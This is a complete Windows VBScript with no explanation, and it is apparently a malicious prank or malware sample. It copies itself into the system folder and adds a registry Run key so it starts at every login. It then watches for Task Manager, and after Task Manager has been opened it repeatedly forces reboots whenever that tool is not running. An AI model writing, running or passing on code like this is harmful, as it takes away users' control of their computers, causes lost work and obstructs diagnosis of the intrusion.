Set ws=WScript.CreateObject("wscript.shell")
Set fso=WScript.CreateObject("scripting.filesystemobject")
path1=fso.GetSpecialFolder(1)
Set fs1=fso.getfile(WScript.ScriptFullName)
path2=path1 & "\" & fs1.Name
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\aa",""""& path2 &"""","REG_SZ"
If Not fso.FileExists(path2) then
fs1.Copy(path1 & "\")
ws.Run """"& path2 &"""",True,True
End If
do
Set wmi=GetObject("winmgmts:\\.\root\cimv2")
Set list=wmi.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list.count<>0 Then
Call fun2()
End If
WScript.Sleep 3000
loop
Function fun2()
do
Set wmi2=GetObject("winmgmts:\\.\root\cimv2")
Set list2=wmi2.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list2.count=0 Then
Set wmi3=GetObject("winmgmts:{(shutdown)}\\.\root\cimv2")
Set list3=wmi3.ExecQuery("select * from win32_operatingsystem")
For Each uu In list3
uu.win32shutdown(2+4)
next
End If
wscript.sleep 2000
loop
End function